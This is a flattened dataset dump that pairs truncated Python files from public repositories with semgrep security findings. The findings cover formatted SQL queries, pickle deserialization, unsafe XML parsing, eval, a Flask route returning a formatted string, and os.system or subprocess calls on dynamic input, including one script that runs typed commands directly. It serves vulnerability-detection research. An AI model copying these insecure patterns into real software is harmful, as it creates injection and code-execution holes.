[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
getSeriesId.py
/scripts/getSeriesId.py
ty-a/tynime
MIT
2024-11-19T01:29:37.229234+00:00
1,479,320,911,000
a74d563b7313f75c9a89409c3942f841da1b4e9d
3
{ "blob_id": "a74d563b7313f75c9a89409c3942f841da1b4e9d", "branch_name": "refs/heads/master", "committer_date": 1479320911000, "content_id": "3184f3721b637cb305830307099fce8d093a8395", "detected_licenses": [ "MIT" ], "directory_id": "6bb537e0eb6139c4eaddf305118236a9cd242f48", "extension": "py", "fi...
2.6875
stackv2
import os import hashlib import shutil from flask import request, Response, send_from_directory, jsonify, abort from config import * def sha1(stream): """ The function returns the md5 hash, based on the parameters of the uploaded file. """ hash_sha1 = hashlib.sha1() for chunk in iter(lambda: s...
131
28.66
92
16
898
python
[{"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-sha1_9d173a87d9b0c36c_c9a0bc14", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-sha1", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected SHA1 hash algorithm wh...
4
true
[ "CWE-79" ]
[ "rules.python.flask.security.audit.directly-returned-format-string" ]
[ "security" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 115 ]
[ 115 ]
[ 9 ]
[ 39 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'." ]
[ 5 ]
[ "HIGH" ]
[ "MEDIUM" ]
server.py
/server/server.py
woobinda/file-server
MIT
2024-11-19T01:29:53.579766+00:00
1,401,392,391,000
f59fb9d75a1200b8bcf1b4ddc6e7384d191cee51
3
{ "blob_id": "f59fb9d75a1200b8bcf1b4ddc6e7384d191cee51", "branch_name": "refs/heads/master", "committer_date": 1401392391000, "content_id": "c7948c42fbc9a3c913d9a6c803e4a4ac2d27e3bc", "detected_licenses": [ "MIT" ], "directory_id": "bd79e1dcd90571ea8718389e72a7498181a26c70", "extension": "py", "fi...
3.484375
stackv2
""" The Classifier -------------- - PleiadClassifier Classifier class - WordNode Node class for separate words - Word Class containing each word """ import pickle import dtw import numpy as np from profile import profiles class PleiadClassifier: """ The main word classifier class Works with Word objects Feed wor...
272
21.61
105
17
1,618
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a6fa542380d84f12_6e7c0117", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 152 ]
[ 152 ]
[ 3 ]
[ 38 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
pleiad.py
/src/pleiad/pleiad.py
lepisma/pleiad
MIT
2024-11-19T01:30:01.191462+00:00
1,688,666,053,000
425409f88920edc849291c1ce99de3186e978aab
2
{ "blob_id": "425409f88920edc849291c1ce99de3186e978aab", "branch_name": "refs/heads/master", "committer_date": 1688666053000, "content_id": "8cea503095690ef398ec93414e570f5f3f76334b", "detected_licenses": [ "Apache-2.0" ], "directory_id": "c073d53c7f1ca1bfd36bb46152ca282c85d6dc8f", "extension": "py"...
2.40625
stackv2
#!/usr/bin/python # Copyright 2016 Google Inc. All Rights Reserved. """Stand-alone implementation of the Gradle Firebase plugin. Converts the services json file to xml: https://googleplex-android.googlesource.com/platform/tools/base/+/studio-master-dev/build-system/google-services/src/main/groovy/com/google/gms/goog...
207
35.28
158
22
1,624
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_52d8627d027de502_1540b19e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
2
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 17 ]
[ 17 ]
[ 1 ]
[ 34 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
generate_xml_from_google_services_json.py
/FcmPush/Assets/Firebase/Editor/generate_xml_from_google_services_json.py
PlayFab/UnicornBattle
Apache-2.0
2024-11-19T01:30:08.993813+00:00
1,466,011,363,000
dcc05f0334083eea0ff7e4686cab5f22df9d6a10
2
{ "blob_id": "dcc05f0334083eea0ff7e4686cab5f22df9d6a10", "branch_name": "refs/heads/master", "committer_date": 1466011363000, "content_id": "febdf8c3e2be3051ebe1dfe3a410dcbf307fe398", "detected_licenses": [ "Unlicense" ], "directory_id": "753532ab35fc3d83b750b1b79603cc1613408523", "extension": "py",...
2.34375
stackv2
#coding=utf-8 #!~/python2.7.10/bin/python import urllib import urllib2 import re import os import sys from bs4 import BeautifulSoup import xml.dom.minidom as minidom import time import socket reload(sys) sys.setdefaultencoding('utf-8') fout_xml = file('Dartmouth_research.xml', 'w') doc = minidom.Document() institut...
45
28.44
69
14
353
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_dd079a88b1c7eb05_501f5c1f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead...
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 10 ]
[ 10 ]
[ 1 ]
[ 34 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
scrap_research.py
/xiaoqiqi/Dartmouth/scrap_research.py
doge-search/webdoge
Unlicense
2024-11-19T01:30:09.893163+00:00
1,525,611,524,000
ebd2b163938c1d9538d8e71e6386c784b16f9e72
3
{ "blob_id": "ebd2b163938c1d9538d8e71e6386c784b16f9e72", "branch_name": "refs/heads/master", "committer_date": 1525611524000, "content_id": "e988e8e0160ce7520c461f831ac191003303f29c", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "b4e9a68537b6f2288a6018a280426cb008257986", "extension": "p...
2.96875
stackv2
import cPickle from functools import wraps import inspect from .connection import get_current_connection class CacheManager(object): """This is the base class for cache managers. *key_base* is used to prefix cache keys generated by this instance. *ttl* is cache key TTL in seconds. If it is omitted (or ...
179
31.43
79
24
1,216
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_db05c7e401f00a31_65ac1565", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is ...
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 74, 82 ]
[ 74, 82 ]
[ 16, 16 ]
[ 35, 35 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `cPickle`, which is known to lead ...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
cache_manager.py
/redis_cache/cache_manager.py
MVReddy/redis_cache_python_layer
BSD-3-Clause
2024-11-19T01:30:12.672928+00:00
1,424,416,153,000
c8665679da618dc6acaf20904cf730f89c8b2445
4
{ "blob_id": "c8665679da618dc6acaf20904cf730f89c8b2445", "branch_name": "refs/heads/master", "committer_date": 1424416153000, "content_id": "6c89c66507fe4328da242d003ff8623544404763", "detected_licenses": [ "MIT" ], "directory_id": "2d60ea1003bbcc86e73789bd4e24aa5e1eae31f3", "extension": "py", "fi...
3.53125
stackv2
#!/user/bin/python import os #echo hola import time as t command = [] def comandoEjecutar(x): if x == '': print "saliendo..." return else: print "Realizando comando...\n\n" t.sleep(.5) print "RESULTADOS:" t.sleep(.5) os.system(x) while command != '': command = raw_input("Teclea un comando\n\n>:"...
19
17.32
47
10
104
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_0541234e4edaba87_57d718fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave thi...
3
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 15 ]
[ 15 ]
[ 3 ]
[ 15 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
comandos.py
/python/random-scripts/python course/comandos.py
Eduardogit/HackProjects
MIT
2024-11-19T01:30:13.131382+00:00
1,468,260,083,000
1ba4624fe109ad668b56b0e061938150e35295ee
3
{ "blob_id": "1ba4624fe109ad668b56b0e061938150e35295ee", "branch_name": "refs/heads/master", "committer_date": 1468260083000, "content_id": "be0de941797702025257661849a5dcef76d0e618", "detected_licenses": [ "MIT" ], "directory_id": "528ed9a1acf5eb51311e9dac7afa4f00e315840e", "extension": "py", "fi...
2.9375
stackv2
import sys import time import MySQLdb infile = sys.argv[1] table = sys.argv[2] mysql_db_host = sys.argv[3] mysql_db_user = sys.argv[4] mysql_db_password = sys.argv[5] mysql_db_name = sys.argv[6] start_time = time.time() # Open connection to database db = MySQLdb.connect(host=mysql_db_host, # your host, usually local...
103
29.84
115
15
647
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_b76c49eeba6926f7_e946571f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
7
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.p...
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 72, 72, 83, 83, 94, 94 ]
[ 72, 72, 83, 83, 94, 94 ]
[ 13, 13, 17, 17, 17, 17 ]
[ 44, 44, 48, 48, 48, 48 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
update_or_add_features_to_db.py
/igh_tree/update_or_add_features_to_db.py
felixhorns/BCellClassSwitching
MIT
2024-11-19T01:30:14.937371+00:00
1,516,903,025,000
adb549877aecacffe4f3622e056b1b5441f2cf67
3
{ "blob_id": "adb549877aecacffe4f3622e056b1b5441f2cf67", "branch_name": "refs/heads/master", "committer_date": 1516903025000, "content_id": "976673dd6485965513524fd6bbaa036d6d470045", "detected_licenses": [ "MIT" ], "directory_id": "b1362afdf070a5301fc6ed71f05c50bc0e50139c", "extension": "py", "fi...
2.53125
stackv2
from go_implementation import Color, GoGame from networks import ActorCritic from collections import deque import datetime import logging import numpy as np import os import pickle import sys import random import tensorflow as tf # logging logging.basicConfig(level=logging.ERROR) logger = logging.getLogger(__name__) ...
254
28.06
97
18
1,895
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_fc741c195ea48210_3c816e6a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \...
3
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 252 ]
[ 252 ]
[ 6 ]
[ 37 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
train.py
/train.py
jamjweng/go-lite
MIT
2024-11-19T01:30:15.330331+00:00
1,688,614,357,000
56af1a23136d7ba79cf261037b4c782a93bbc2c0
2
{ "blob_id": "56af1a23136d7ba79cf261037b4c782a93bbc2c0", "branch_name": "refs/heads/master", "committer_date": 1688614357000, "content_id": "2a0579f31622f2c1f7a13a116d57e094f630ff94", "detected_licenses": [ "MIT" ], "directory_id": "7f87ea9fe9d2ad9b179fa397671b3ccaa153e878", "extension": "py", "fi...
2.46875
stackv2
# -*- encoding: utf-8 -*- from django.conf import settings from django.contrib.gis.geos import Point from django.core.management.base import BaseCommand, CommandError import uuid from accounts.models import Authority, User from common.constants import USER_STATUS_PUBLIC_HEALTH from common.functions import get_data_fr...
59
30.86
116
19
405
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_1b1c85a39c45d8f4_533241db", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'user' is being se...
1
true
[ "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 52 ]
[ 52 ]
[ 13 ]
[ 52 ]
[ "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
rewrite_hospital_authority.py
/accounts/management/commands/rewrite_hospital_authority.py
openpodd/podd-api
MIT
2024-11-19T01:30:22.970670+00:00
1,391,211,369,000
dbfbaac29607ab0b42ba119cca9a2b42d1a22ae7
3
{ "blob_id": "dbfbaac29607ab0b42ba119cca9a2b42d1a22ae7", "branch_name": "refs/heads/master", "committer_date": 1391211369000, "content_id": "d745407ac73f6644737932b2d64ba47b891b0084", "detected_licenses": [ "MIT" ], "directory_id": "8f4ee6c97ef3fe9bad9f6469190cc62cc0b1218e", "extension": "py", "fi...
2.59375
stackv2
#!/opt/local/bin/python # can do as a standalone if permissions set and # above points to python install # need python 2.7 or greater import os import sys import re import string import csv from subprocess import call import argparse # compile a couple global regex re_studentid = re.compile(r"[0-9]{7,9}") re_student...
289
34.63
137
18
2,346
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_de7f6328560381b8_a59c5b1a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
12
true
[ "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-spawn-process-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 60, 203, 203 ]
[ 60, 203, 203 ]
[ 13, 21, 26 ]
[ 35, 48, 47 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content when spawning a process. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.", "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicio...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "MEDIUM" ]
grading.py
/grading.py
eshohet/smartersite
MIT
2024-11-19T01:30:27.624870+00:00
1,606,138,937,000
c02361aa452863b3b2b63dddbe1e8b7146f94896
2
{ "blob_id": "c02361aa452863b3b2b63dddbe1e8b7146f94896", "branch_name": "refs/heads/master", "committer_date": 1606138937000, "content_id": "292bb56f068b3adb6e66375a525dd0e6fa04619f", "detected_licenses": [ "Apache-2.0" ], "directory_id": "8cd5c322c0a4e97c68436b7b691c4bf19bd5b525", "extension": "py"...
2.390625
stackv2
''' TODO: logSpecDbDist appropriate? (both mels & mags?) TODO: compute output length error? TODO: work out best way of handling the fact that predicted *coarse* features can correspond to text but be arbitrarily 'out of phase' with reference. Mutliple references? Or compare against full-time resolution re...
279
36.51
133
20
3,101
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_706d0328cea54808_9339b2d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
6
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.pyth...
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 188, 190, 192, 206, 207, 208 ]
[ 188, 190, 192, 206, 207, 208 ]
[ 5, 5, 5, 13, 15, 15 ]
[ 60, 64, 72, 61, 65, 73 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
objective_measures.py
/objective_measures.py
SoftwareImpacts/SIMPAC-2020-65
Apache-2.0
2024-11-19T01:30:28.613632+00:00
1,629,993,032,000
18742648a7306be71726895ed4c18a24fab84f5f
3
{ "blob_id": "18742648a7306be71726895ed4c18a24fab84f5f", "branch_name": "refs/heads/master", "committer_date": 1629993032000, "content_id": "3e24ebea6353c4c299cf0c7e5bed4a0000dfc780", "detected_licenses": [ "MIT" ], "directory_id": "52dc58bef4ed4db894ea68d7f9ff0b95dea00b08", "extension": "py", "fi...
2.5625
stackv2
# Copyright 2019 Hitachi, Ltd. (author: Yusuke Fujita) # Modified by: Yexin Yang # Licensed under the MIT license. # # This library provides utilities for kaldi-style data directory. from __future__ import print_function import os import sys import numpy as np import subprocess import soundfile as sf import io from f...
163
31.26
78
17
1,354
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_baca145d583eecba_913278e1", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' par...
8
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 69, 69 ]
[ 70, 69 ]
[ 13, 57 ]
[ 53, 61 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
kaldi_data.py
/eend/kaldi_data.py
Yoshani/pytorch-sa-eend
MIT
2024-11-19T01:30:29.274802+00:00
1,590,896,061,000
c083ba00536cbddfc22760e459f699a35ecf41fa
3
{ "blob_id": "c083ba00536cbddfc22760e459f699a35ecf41fa", "branch_name": "refs/heads/master", "committer_date": 1590896061000, "content_id": "3eab6d5864675c9cc415ed996ee1344f4f425fd0", "detected_licenses": [ "Unlicense" ], "directory_id": "f3b4878d9a0a940dba9bbe95973158d2763a7bf1", "extension": "py",...
2.96875
stackv2
import sqlite3 from sqlite3 import Error def create(file, guild, name, type, info="Empty", description="Empty", url='None', min=0, max=1): """ This function creates an empty command structure within the SQL database """ conn = sqlite3.connect(file) c = conn.cursor() if already_exists(c, name, guild): ...
68
39.22
128
11
671
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_6ae2576d5847a1a7_7d21d41d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. U...
20
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.p...
[ "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 12, 12, 25, 25, 40, 40, 43, 43, 45, 45, 47, 47, 49, 49, 51, 51, 53, 53, 63, 63 ]
[ 12, 12, 25, 25, 40, 40, 43, 43, 45, 45, 47, 47, 49, 49, 51, 51, 53, 53, 63, 63 ]
[ 9, 9, 5, 5, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9 ]
[ 129, 129, 74, 74, 118, 118, 103, 103, 103, 103, 117, 117, 101, 101, 101, 101, 101, 101, 68, 68 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01...
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
CommandCreator.py
/CommandCreator.py
tymmc2/Hanabana
Unlicense
2024-11-19T01:30:38.758675+00:00
1,663,711,881,000
cd933d4818336e60594ed99154859f2eb0f93db0
2
{ "blob_id": "cd933d4818336e60594ed99154859f2eb0f93db0", "branch_name": "refs/heads/master", "committer_date": 1663711881000, "content_id": "ab49d90d918c778911c74e27108f87a9e32639cd", "detected_licenses": [ "MIT" ], "directory_id": "6747679ab73eb1adfd071dbee039d7ecb68597cb", "extension": "py", "fi...
2.5
stackv2
# This file is part of the Reproducible Open Benchmarks for Data Analysis # Platform (ROB) - Top Tagger Benchmark Demo. # # Copyright (C) [2019-2020] NYU. # # ROB is free software; you can redistribute it and/or modify it under the # terms of the MIT License; see LICENSE file for more details. """Write summary pf eval...
67
34.73
79
13
595
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_dcf4d9dd6087e52b_74f0030e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is kno...
3
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 45, 49 ]
[ 45, 49 ]
[ 23, 34 ]
[ 37, 48 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
compute-score.py
/benchmark/code/compute-score.py
scailfin/rob-demo-top-tagger
MIT
2024-11-19T01:43:00.355548+00:00
1,596,340,692,000
628bc31e4babd07d442c7f15ba3456fb9b625ad0
3
{ "blob_id": "628bc31e4babd07d442c7f15ba3456fb9b625ad0", "branch_name": "refs/heads/master", "committer_date": 1596340692000, "content_id": "2b970863fc718ed1b5139988992b3346fd6a6e90", "detected_licenses": [ "MIT" ], "directory_id": "8c6abb4c66728da1d05bce011168b09f5794229e", "extension": "py", "fi...
2.578125
stackv2
import inspect from datetime import datetime, timedelta from typing import Dict from config import patients_file_url, summary_file_url from util import get_json, dumps_json, requests_xlsx, jst, SUMMARY_INIT, print_log patients_first_cell = 3 summary_fitst_cell = 3 class DataJson: def __init__(self): ...
270
38.94
112
30
2,936
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_484bc7d3706ac25b_c007a552", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous ...
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 69 ]
[ 69 ]
[ 35 ]
[ 62 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
main.py
/main.py
stop-covid19-kyoto/covid19kyoto-scraping
MIT
2024-11-19T01:43:00.416814+00:00
1,578,921,829,000
0b438915d2211aaab552cf4492be4975dc4765b9
3
{ "blob_id": "0b438915d2211aaab552cf4492be4975dc4765b9", "branch_name": "refs/heads/master", "committer_date": 1578921829000, "content_id": "ca8a29e236d4f1d642a0270937c6d95b52e806f2", "detected_licenses": [ "MIT" ], "directory_id": "e0db6ae799cf78edbfc35c91f1a79288bd9c6f33", "extension": "py", "fi...
3.265625
stackv2
